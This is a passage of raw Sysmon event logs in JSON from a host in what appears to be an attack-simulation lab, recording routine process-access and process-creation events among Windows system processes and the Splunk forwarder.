12:04:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8419,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:38.994\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:38.994","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8420,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:38.994\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:38.994","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8421,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:38.994\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:38.994","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8422,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:38.994\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4356-5F2D-0000-0010828F1100}\r\nTargetProcessId: 3944\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:38.994","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4356-5F2D-0000-0010828F1100}","TargetProcessId":"3944","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8423,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:39.244\r\nSourceProcessGUID: {90617006-4356-5F2D-0000-0010828F1100}\r\nSourceProcessId: 3944\r\nSourceThreadId: 4640\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:39.244","SourceProcessGUID":"{90617006-4356-5F2D-0000-0010828F1100}","SourceProcessId":"3944","SourceThreadId":"4640","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":8424,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:39.870\r\nProcessGuid: {90617006-4357-5F2D-0000-00106A911100}\r\nProcessId: 4676\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nFileVersion: ?\r\nDescription: ?\r\nProduct: ?\r\nCompany: ?\r\nOriginalFileName: ?\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\" --ps2\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 12:04:39.870","ProcessGuid":"{90617006-4357-5F2D-0000-00106A911100}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","FileVersion":"?","Description":"?","Product":"?","Company":"?","OriginalFileName":"?","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\" --ps2","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 12:04:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8425,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:39.869\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-4357-5F2D-0000-00106A911100}\r\nTargetProcessId: 4676\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:39.869","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-4357-5F2D-0000-00106A911100}","TargetProcessId":"4676","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8426,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:39.869\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4357-5F2D-0000-00106A911100}\r\nTargetProcessId: 4676\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:39.869","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4357-5F2D-0000-00106A911100}","TargetProcessId":"4676","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8427,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:39.869\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:39.869","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 